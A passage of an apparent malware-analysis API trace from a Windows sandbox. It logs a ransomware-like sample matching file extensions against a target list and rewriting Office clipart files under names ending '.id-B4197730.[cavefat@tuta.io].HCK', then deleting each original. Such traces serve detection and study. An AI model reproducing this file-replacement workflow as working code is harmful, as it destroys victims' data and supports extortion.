lpString2=".WMF") returned -1 [0156.835] lstrlenW (lpString=".xls") returned 4 [0156.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.835] lstrlenW (lpString=".xlsx") returned 5 [0156.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.835] lstrlenW (lpString=".ppt") returned 4 [0156.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.835] lstrlenW (lpString=".zip") returned 4 [0156.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.835] lstrlenW (lpString=".rar") returned 4 [0156.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.835] lstrlenW (lpString=".bz2") returned 4 [0156.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.835] lstrlenW (lpString=".7z") returned 3 [0156.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".dbf") returned 4 [0156.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".1cd") returned 4 [0156.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".jpg") returned 4 [0156.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".doc") returned 4 [0156.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".docx") returned 5 [0156.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.836] lstrlenW (lpString=".pdf") returned 4 [0156.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".xls") returned 4 [0156.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.836] lstrlenW (lpString=".xlsx") returned 5 [0156.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.836] lstrlenW (lpString=".ppt") returned 4 [0156.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".zip") returned 4 [0156.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.836] lstrlenW (lpString=".rar") returned 4 [0156.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".bz2") returned 4 [0156.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".7z") returned 3 [0156.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".dbf") returned 4 [0156.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".1cd") returned 4 [0156.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.836] lstrlenW (lpString=".jpg") returned 4 [0156.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.836] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.836] lstrlenW (lpString="BS00135_.WMF") returned 12 [0156.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.837] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1044) returned 1 [0156.837] CloseHandle (hObject=0x360) returned 1 [0156.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0156.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.837] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.837] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.837] GetLastError () returned 0x0 [0156.837] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x414, lpOverlapped=0x0) returned 1 [0156.838] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x420, lpOverlapped=0x0) returned 1 [0156.839] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.839] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.839] SetEndOfFile (hFile=0x364) returned 1 [0156.840] CloseHandle (hObject=0x364) returned 1 [0156.840] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.840] SetEndOfFile (hFile=0x360) returned 1 [0156.841] CloseHandle (hObject=0x360) returned 1 [0156.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.841] lstrlenW (lpString=".doc") returned 4 [0156.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".docx") returned 5 [0156.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.842] lstrlenW (lpString=".pdf") returned 4 [0156.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".xls") returned 4 [0156.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.842] lstrlenW (lpString=".xlsx") returned 5 [0156.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.842] lstrlenW (lpString=".ppt") returned 4 [0156.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".zip") returned 4 [0156.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.842] lstrlenW (lpString=".rar") returned 4 [0156.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".bz2") returned 4 [0156.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".7z") returned 3 [0156.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".dbf") returned 4 [0156.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".1cd") returned 4 [0156.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".jpg") returned 4 [0156.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".doc") returned 4 [0156.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".docx") returned 5 [0156.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.842] lstrlenW (lpString=".pdf") returned 4 [0156.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".xls") returned 4 [0156.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.842] lstrlenW (lpString=".xlsx") returned 5 [0156.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.842] lstrlenW (lpString=".ppt") returned 4 [0156.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.842] lstrlenW (lpString=".zip") returned 4 [0156.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.842] lstrlenW (lpString=".rar") returned 4 [0156.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".bz2") returned 4 [0156.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.842] lstrlenW (lpString=".7z") returned 3 [0156.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.843] lstrlenW (lpString=".dbf") returned 4 [0156.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.843] lstrlenW (lpString=".1cd") returned 4 [0156.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0156.843] lstrlenW (lpString=".jpg") returned 4 [0156.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.843] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.843] lstrlenW (lpString="BS00136_.WMF") returned 12 [0156.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.843] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2166) returned 1 [0156.843] CloseHandle (hObject=0x360) returned 1 [0156.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0156.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.843] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.844] GetLastError () returned 0x0 [0156.844] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x876, lpOverlapped=0x0) returned 1 [0157.133] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x880, lpOverlapped=0x0) returned 1 [0157.133] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.133] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.133] SetEndOfFile (hFile=0x364) returned 1 [0157.133] CloseHandle (hObject=0x364) returned 1 [0157.134] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.134] SetEndOfFile (hFile=0x360) returned 1 [0157.135] CloseHandle (hObject=0x360) returned 1 [0157.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".doc") returned 4 [0157.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".docx") returned 5 [0157.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.223] lstrlenW (lpString=".pdf") returned 4 [0157.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".xls") returned 4 [0157.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.223] lstrlenW (lpString=".xlsx") returned 5 [0157.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.223] lstrlenW (lpString=".ppt") returned 4 [0157.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".zip") returned 4 [0157.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.223] lstrlenW (lpString=".rar") returned 4 [0157.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".bz2") returned 4 [0157.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".7z") returned 3 [0157.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".dbf") returned 4 [0157.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".1cd") returned 4 [0157.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".jpg") returned 4 [0157.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.223] lstrlenW (lpString=".doc") returned 4 [0157.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".docx") returned 5 [0157.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.223] lstrlenW (lpString=".pdf") returned 4 [0157.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.223] lstrlenW (lpString=".xls") returned 4 [0157.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.224] lstrlenW (lpString=".xlsx") returned 5 [0157.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.224] lstrlenW (lpString=".ppt") returned 4 [0157.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.224] lstrlenW (lpString=".zip") returned 4 [0157.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.224] lstrlenW (lpString=".rar") returned 4 [0157.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.224] lstrlenW (lpString=".bz2") returned 4 [0157.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.224] lstrlenW (lpString=".7z") returned 3 [0157.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.224] lstrlenW (lpString=".dbf") returned 4 [0157.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.224] lstrlenW (lpString=".1cd") returned 4 [0157.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0157.224] lstrlenW (lpString=".jpg") returned 4 [0157.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.224] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.224] lstrlenW (lpString="BS01638_.WMF") returned 12 [0157.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.225] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10538) returned 1 [0157.225] CloseHandle (hObject=0x384) returned 1 [0157.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0157.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.225] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.226] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.226] GetLastError () returned 0x0 [0157.226] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x292a, lpOverlapped=0x0) returned 1 [0157.228] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2930, lpOverlapped=0x0) returned 1 [0157.229] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.229] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.229] SetEndOfFile (hFile=0x380) returned 1 [0157.229] CloseHandle (hObject=0x380) returned 1 [0157.230] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.231] SetEndOfFile (hFile=0x384) returned 1 [0157.231] CloseHandle (hObject=0x384) returned 1 [0157.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0157.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.232] lstrlenW (lpString=".doc") returned 4 [0157.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.232] lstrlenW (lpString=".docx") returned 5 [0157.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.232] lstrlenW (lpString=".pdf") returned 4 [0157.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.232] lstrlenW (lpString=".xls") returned 4 [0157.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.232] lstrlenW (lpString=".xlsx") returned 5 [0157.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.232] lstrlenW (lpString=".ppt") returned 4 [0157.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0157.232] lstrlenW 